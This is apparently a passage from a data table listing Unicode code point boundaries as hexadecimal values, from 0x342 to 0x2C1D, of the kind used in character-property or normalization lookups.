- 0x342, - 0x343, - 0x344, - 0x345, - 0x346, - 0x34F, - 0x350, - 0x370, - 0x371, - 0x372, - 0x373, - 0x374, - 0x375, - 0x376, - 0x377, - 0x378, - 0x37A, - 0x37B, - 0x37E, - 0x37F, - 0x380, - 0x384, - 0x385, - 0x386, - 0x387, - 0x388, - 0x389, - 0x38A, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x38F, - 0x390, - 0x391, - 0x392, - 0x393, - 0x394, - 0x395, - 0x396, - 0x397, - 0x398, - 0x399, - 0x39A, - 0x39B, - 0x39C, - 0x39D, - 0x39E, - 0x39F, - 0x3A0, - 0x3A1, - 0x3A2, - 0x3A3, - 0x3A4, - 0x3A5, - 0x3A6, - 0x3A7, - 0x3A8, - 0x3A9, - 0x3AA, - 0x3AB, - 0x3AC, - 0x3C2, - 0x3C3, - 0x3CF, - 0x3D0, - 0x3D1, - 0x3D2, - 0x3D3, - 0x3D4, - 0x3D5, - 0x3D6, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F1, - 0x3F2, - 0x3F3, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FA, - 0x3FB, - 0x3FD, - 0x3FE, - 0x3FF, - 0x400, - 0x401, - 0x402, - 0x403, - 0x404, - 0x405, - 0x406, - 0x407, - 0x408, - 0x409, - 0x40A, - 0x40B, - 0x40C, - 0x40D, - 0x40E, - 0x40F, - 0x410, - 0x411, - 0x412, - 0x413, - 0x414, - 0x415, - 0x416, - 0x417, - 0x418, - 0x419, - 0x41A, - 0x41B, - 0x41C, - 0x41D, - 0x41E, - 0x41F, - 0x420, - 0x421, - 0x422, - 0x423, - 0x424, - 0x425, - 0x426, - 0x427, - 0x428, - 0x429, - 0x42A, - 0x42B, - 0x42C, - 0x42D, - 0x42E, - 0x42F, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C1, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x531, - 0x532, - 0x533, - 0x534, - 0x535, - 0x536, - 0x537, - 0x538, - 0x539, - 0x53A, - 0x53B, - 0x53C, - 0x53D, - 0x53E, - 0x53F, - 0x540, - 0x541, - 0x542, - 0x543, - 0x544, - 0x545, - 0x546, - 0x547, - 0x548, - 0x549, - 0x54A, - 0x54B, - 0x54C, - 0x54D, - 0x54E, - 0x54F, - 0x550, - 0x551, - 0x552, - 0x553, - 0x554, - 0x555, - 0x556, - 0x557, - 0x559, - 0x587, - 0x588, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5EF, - 0x5F5, - 0x606, - 0x61C, - 0x61D, - 0x675, - 0x676, - 0x677, - 0x678, - 0x679, - 0x6DD, - 0x6DE, - 0x70E, - 0x710, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x7FD, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x870, - 0x890, - 0x897, - 0x8E2, - 0x8E3, - 0x958, - 0x959, - 0x95A, - 0x95B, - 0x95C, - 0x95D, - 0x95E, - 0x95F, - 0x960, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DD, - 0x9DE, - 0x9DF, - 0x9E0, - 0x9E4, - 0x9E6, - 0x9FF, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA33, - 0xA34, - 0xA35, - 0xA36, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5A, - 0xA5B, - 0xA5C, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA77, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB55, - 0xB58, - 0xB5C, - 0xB5D, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC00, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3C, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC5C, - 0xC5E, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC77, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDC, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF4, - 0xD00, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80, - 0xD81, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE33, - 0xE34, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE86, - 0xE8B, - 0xE8C, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEB3, - 0xEB4, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECF, - 0xED0, - 0xEDA, - 0xEDC, - 0xEDD, - 0xEDE, - 0xEE0, - 0xF00, - 0xF0C, - 0xF0D, - 0xF43, - 0xF44, - 0xF48, - 0xF49, - 0xF4D, - 0xF4E, - 0xF52, - 0xF53, - 0xF57, - 0xF58, - 0xF5C, - 0xF5D, - 0xF69, - 0xF6A, - 0xF6D, - 0xF71, - 0xF73, - 0xF74, - 0xF75, - 0xF76, - 0xF77, - 0xF78, - 0xF79, - 0xF7A, - 0xF81, - 0xF82, - 0xF93, - 0xF94, - 0xF98, - 0xF99, - 0xF9D, - 0xF9E, - 0xFA2, - 0xFA3, - 0xFA7, - 0xFA8, - 0xFAC, - 0xFAD, - 0xFB9, - 0xFBA, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10A0, - 0x10A1, - 0x10A2, - 0x10A3, - 0x10A4, - 0x10A5, - 0x10A6, - 0x10A7, - 0x10A8, - 0x10A9, - 0x10AA, - 0x10AB, - 0x10AC, - 0x10AD, - 0x10AE, - 0x10AF, - 0x10B0, - 0x10B1, - 0x10B2, - 0x10B3, - 0x10B4, - 0x10B5, - 0x10B6, - 0x10B7, - 0x10B8, - 0x10B9, - 0x10BA, - 0x10BB, - 0x10BC, - 0x10BD, - 0x10BE, - 0x10BF, - 0x10C0, - 0x10C1, - 0x10C2, - 0x10C3, - 0x10C4, - 0x10C5, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FC, - 0x10FD, - 0x115F, - 0x1161, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13F9, - 0x13FA, - 0x13FB, - 0x13FC, - 0x13FD, - 0x13FE, - 0x1400, - 0x1680, - 0x1681, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x1716, - 0x171F, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17B4, - 0x17B6, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180B, - 0x1810, - 0x181A, - 0x1820, - 0x1879, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ADE, - 0x1AE0, - 0x1AEC, - 0x1B00, - 0x1B4D, - 0x1B4E, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C80, - 0x1C81, - 0x1C82, - 0x1C83, - 0x1C84, - 0x1C86, - 0x1C87, - 0x1C88, - 0x1C89, - 0x1C8A, - 0x1C8B, - 0x1C90, - 0x1C91, - 0x1C92, - 0x1C93, - 0x1C94, - 0x1C95, - 0x1C96, - 0x1C97, - 0x1C98, - 0x1C99, - 0x1C9A, - 0x1C9B, - 0x1C9C, - 0x1C9D, - 0x1C9E, - 0x1C9F, - 0x1CA0, - 0x1CA1, - 0x1CA2, - 0x1CA3, - 0x1CA4, - 0x1CA5, - 0x1CA6, - 0x1CA7, - 0x1CA8, - 0x1CA9, - 0x1CAA, - 0x1CAB, - 0x1CAC, - 0x1CAD, - 0x1CAE, - 0x1CAF, - 0x1CB0, - 0x1CB1, - 0x1CB2, - 0x1CB3, - 0x1CB4, - 0x1CB5, - 0x1CB6, - 0x1CB7, - 0x1CB8, - 0x1CB9, - 0x1CBA, - 0x1CBB, - 0x1CBD, - 0x1CBE, - 0x1CBF, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CFB, - 0x1D00, - 0x1D2C, - 0x1D2D, - 0x1D2E, - 0x1D2F, - 0x1D30, - 0x1D31, - 0x1D32, - 0x1D33, - 0x1D34, - 0x1D35, - 0x1D36, - 0x1D37, - 0x1D38, - 0x1D39, - 0x1D3A, - 0x1D3B, - 0x1D3C, - 0x1D3D, - 0x1D3E, - 0x1D3F, - 0x1D40, - 0x1D41, - 0x1D42, - 0x1D43, - 0x1D44, - 0x1D45, - 0x1D46, - 0x1D47, - 0x1D48, - 0x1D49, - 0x1D4A, - 0x1D4B, - 0x1D4C, - 0x1D4D, - 0x1D4E, - 0x1D4F, - 0x1D50, - 0x1D51, - 0x1D52, - 0x1D53, - 0x1D54, - 0x1D55, - 0x1D56, - 0x1D57, - 0x1D58, - 0x1D59, - 0x1D5A, - 0x1D5B, - 0x1D5C, - 0x1D5D, - 0x1D5E, - 0x1D5F, - 0x1D60, - 0x1D61, - 0x1D62, - 0x1D63, - 0x1D64, - 0x1D65, - 0x1D66, - 0x1D67, - 0x1D68, - 0x1D69, - 0x1D6A, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1D9C, - 0x1D9D, - 0x1D9E, - 0x1D9F, - 0x1DA0, - 0x1DA1, - 0x1DA2, - 0x1DA3, - 0x1DA4, - 0x1DA5, - 0x1DA6, - 0x1DA7, - 0x1DA8, - 0x1DA9, - 0x1DAA, - 0x1DAB, - 0x1DAC, - 0x1DAD, - 0x1DAE, - 0x1DAF, - 0x1DB0, - 0x1DB1, - 0x1DB2, - 0x1DB3, - 0x1DB4, - 0x1DB5, - 0x1DB6, - 0x1DB7, - 0x1DB8, - 0x1DB9, - 0x1DBA, - 0x1DBB, - 0x1DBC, - 0x1DBD, - 0x1DBE, - 0x1DBF, - 0x1DC0, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9A, - 0x1E9B, - 0x1E9C, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F09, - 0x1F0A, - 0x1F0B, - 0x1F0C, - 0x1F0D, - 0x1F0E, - 0x1F0F, - 0x1F10, - 0x1F16, - 0x1F18, - 0x1F19, - 0x1F1A, - 0x1F1B, - 0x1F1C, - 0x1F1D, - 0x1F1E, - 0x1F20, - 0x1F28, - 0x1F29, - 0x1F2A, - 0x1F2B, - 0x1F2C, - 0x1F2D, - 0x1F2E, - 0x1F2F, - 0x1F30, - 0x1F38, - 0x1F39, - 0x1F3A, - 0x1F3B, - 0x1F3C, - 0x1F3D, - 0x1F3E, - 0x1F3F, - 0x1F40, - 0x1F46, - 0x1F48, - 0x1F49, - 0x1F4A, - 0x1F4B, - 0x1F4C, - 0x1F4D, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F69, - 0x1F6A, - 0x1F6B, - 0x1F6C, - 0x1F6D, - 0x1F6E, - 0x1F6F, - 0x1F70, - 0x1F71, - 0x1F72, - 0x1F73, - 0x1F74, - 0x1F75, - 0x1F76, - 0x1F77, - 0x1F78, - 0x1F79, - 0x1F7A, - 0x1F7B, - 0x1F7C, - 0x1F7D, - 0x1F7E, - 0x1F80, - 0x1F81, - 0x1F82, - 0x1F83, - 0x1F84, - 0x1F85, - 0x1F86, - 0x1F87, - 0x1F88, - 0x1F89, - 0x1F8A, - 0x1F8B, - 0x1F8C, - 0x1F8D, - 0x1F8E, - 0x1F8F, - 0x1F90, - 0x1F91, - 0x1F92, - 0x1F93, - 0x1F94, - 0x1F95, - 0x1F96, - 0x1F97, - 0x1F98, - 0x1F99, - 0x1F9A, - 0x1F9B, - 0x1F9C, - 0x1F9D, - 0x1F9E, - 0x1F9F, - 0x1FA0, - 0x1FA1, - 0x1FA2, - 0x1FA3, - 0x1FA4, - 0x1FA5, - 0x1FA6, - 0x1FA7, - 0x1FA8, - 0x1FA9, - 0x1FAA, - 0x1FAB, - 0x1FAC, - 0x1FAD, - 0x1FAE, - 0x1FAF, - 0x1FB0, - 0x1FB2, - 0x1FB3, - 0x1FB4, - 0x1FB5, - 0x1FB6, - 0x1FB7, - 0x1FB8, - 0x1FB9, - 0x1FBA, - 0x1FBB, - 0x1FBC, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC0, - 0x1FC1, - 0x1FC2, - 0x1FC3, - 0x1FC4, - 0x1FC5, - 0x1FC6, - 0x1FC7, - 0x1FC8, - 0x1FC9, - 0x1FCA, - 0x1FCB, - 0x1FCC, - 0x1FCD, - 0x1FCE, - 0x1FCF, - 0x1FD0, - 0x1FD3, - 0x1FD4, - 0x1FD6, - 0x1FD8, - 0x1FD9, - 0x1FDA, - 0x1FDB, - 0x1FDC, - 0x1FDD, - 0x1FDE, - 0x1FDF, - 0x1FE0, - 0x1FE3, - 0x1FE4, - 0x1FE8, - 0x1FE9, - 0x1FEA, - 0x1FEB, - 0x1FEC, - 0x1FED, - 0x1FEE, - 0x1FEF, - 0x1FF0, - 0x1FF2, - 0x1FF3, - 0x1FF4, - 0x1FF5, - 0x1FF6, - 0x1FF7, - 0x1FF8, - 0x1FF9, - 0x1FFA, - 0x1FFB, - 0x1FFC, - 0x1FFD, - 0x1FFE, - 0x1FFF, - 0x2000, - 0x200B, - 0x200C, - 0x200E, - 0x2010, - 0x2011, - 0x2012, - 0x2017, - 0x2018, - 0x2024, - 0x2027, - 0x2028, - 0x202F, - 0x2030, - 0x2033, - 0x2034, - 0x2035, - 0x2036, - 0x2037, - 0x2038, - 0x203C, - 0x203D, - 0x203E, - 0x203F, - 0x2047, - 0x2048, - 0x2049, - 0x204A, - 0x2057, - 0x2058, - 0x205F, - 0x2060, - 0x2065, - 0x206A, - 0x2070, - 0x2071, - 0x2072, - 0x2074, - 0x2075, - 0x2076, - 0x2077, - 0x2078, - 0x2079, - 0x207A, - 0x207B, - 0x207C, - 0x207D, - 0x207E, - 0x207F, - 0x2080, - 0x2081, - 0x2082, - 0x2083, - 0x2084, - 0x2085, - 0x2086, - 0x2087, - 0x2088, - 0x2089, - 0x208A, - 0x208B, - 0x208C, - 0x208D, - 0x208E, - 0x208F, - 0x2090, - 0x2091, - 0x2092, - 0x2093, - 0x2094, - 0x2095, - 0x2096, - 0x2097, - 0x2098, - 0x2099, - 0x209A, - 0x209B, - 0x209C, - 0x209D, - 0x20A0, - 0x20A8, - 0x20A9, - 0x20C2, - 0x20D0, - 0x20F1, - 0x2100, - 0x2101, - 0x2102, - 0x2103, - 0x2104, - 0x2105, - 0x2106, - 0x2107, - 0x2108, - 0x2109, - 0x210A, - 0x210B, - 0x210F, - 0x2110, - 0x2112, - 0x2114, - 0x2115, - 0x2116, - 0x2117, - 0x2119, - 0x211A, - 0x211B, - 0x211E, - 0x2120, - 0x2121, - 0x2122, - 0x2123, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212B, - 0x212C, - 0x212D, - 0x212E, - 0x212F, - 0x2131, - 0x2132, - 0x2133, - 0x2134, - 0x2135, - 0x2136, - 0x2137, - 0x2138, - 0x2139, - 0x213A, - 0x213B, - 0x213C, - 0x213D, - 0x213F, - 0x2140, - 0x2141, - 0x2145, - 0x2147, - 0x2148, - 0x2149, - 0x214A, - 0x2150, - 0x2151, - 0x2152, - 0x2153, - 0x2154, - 0x2155, - 0x2156, - 0x2157, - 0x2158, - 0x2159, - 0x215A, - 0x215B, - 0x215C, - 0x215D, - 0x215E, - 0x215F, - 0x2160, - 0x2161, - 0x2162, - 0x2163, - 0x2164, - 0x2165, - 0x2166, - 0x2167, - 0x2168, - 0x2169, - 0x216A, - 0x216B, - 0x216C, - 0x216D, - 0x216E, - 0x216F, - 0x2170, - 0x2171, - 0x2172, - 0x2173, - 0x2174, - 0x2175, - 0x2176, - 0x2177, - 0x2178, - 0x2179, - 0x217A, - 0x217B, - 0x217C, - 0x217D, - 0x217E, - 0x217F, - 0x2180, - 0x2183, - 0x2184, - 0x2189, - 0x218A, - 0x218C, - 0x2190, - 0x222C, - 0x222D, - 0x222E, - 0x222F, - 0x2230, - 0x2231, - 0x2329, - 0x232A, - 0x232B, - 0x242A, - 0x2440, - 0x244B, - 0x2460, - 0x2461, - 0x2462, - 0x2463, - 0x2464, - 0x2465, - 0x2466, - 0x2467, - 0x2468, - 0x2469, - 0x246A, - 0x246B, - 0x246C, - 0x246D, - 0x246E, - 0x246F, - 0x2470, - 0x2471, - 0x2472, - 0x2473, - 0x2474, - 0x2475, - 0x2476, - 0x2477, - 0x2478, - 0x2479, - 0x247A, - 0x247B, - 0x247C, - 0x247D, - 0x247E, - 0x247F, - 0x2480, - 0x2481, - 0x2482, - 0x2483, - 0x2484, - 0x2485, - 0x2486, - 0x2487, - 0x2488, - 0x249C, - 0x249D, - 0x249E, - 0x249F, - 0x24A0, - 0x24A1, - 0x24A2, - 0x24A3, - 0x24A4, - 0x24A5, - 0x24A6, - 0x24A7, - 0x24A8, - 0x24A9, - 0x24AA, - 0x24AB, - 0x24AC, - 0x24AD, - 0x24AE, - 0x24AF, - 0x24B0, - 0x24B1, - 0x24B2, - 0x24B3, - 0x24B4, - 0x24B5, - 0x24B6, - 0x24B7, - 0x24B8, - 0x24B9, - 0x24BA, - 0x24BB, - 0x24BC, - 0x24BD, - 0x24BE, - 0x24BF, - 0x24C0, - 0x24C1, - 0x24C2, - 0x24C3, - 0x24C4, - 0x24C5, - 0x24C6, - 0x24C7, - 0x24C8, - 0x24C9, - 0x24CA, - 0x24CB, - 0x24CC, - 0x24CD, - 0x24CE, - 0x24CF, - 0x24D0, - 0x24D1, - 0x24D2, - 0x24D3, - 0x24D4, - 0x24D5, - 0x24D6, - 0x24D7, - 0x24D8, - 0x24D9, - 0x24DA, - 0x24DB, - 0x24DC, - 0x24DD, - 0x24DE, - 0x24DF, - 0x24E0, - 0x24E1, - 0x24E2, - 0x24E3, - 0x24E4, - 0x24E5, - 0x24E6, - 0x24E7, - 0x24E8, - 0x24E9, - 0x24EA, - 0x24EB, - 0x2A0C, - 0x2A0D, - 0x2A74, - 0x2A75, - 0x2A76, - 0x2A77, - 0x2ADC, - 0x2ADD, - 0x2B74, - 0x2B76, - 0x2C00, - 0x2C01, - 0x2C02, - 0x2C03, - 0x2C04, - 0x2C05, - 0x2C06, - 0x2C07, - 0x2C08, - 0x2C09, - 0x2C0A, - 0x2C0B, - 0x2C0C, - 0x2C0D, - 0x2C0E, - 0x2C0F, - 0x2C10, - 0x2C11, - 0x2C12, - 0x2C13, - 0x2C14, - 0x2C15, - 0x2C16, - 0x2C17, - 0x2C18, - 0x2C19, - 0x2C1A, - 0x2C1B, - 0x2C1C, - 0x2C1D, - 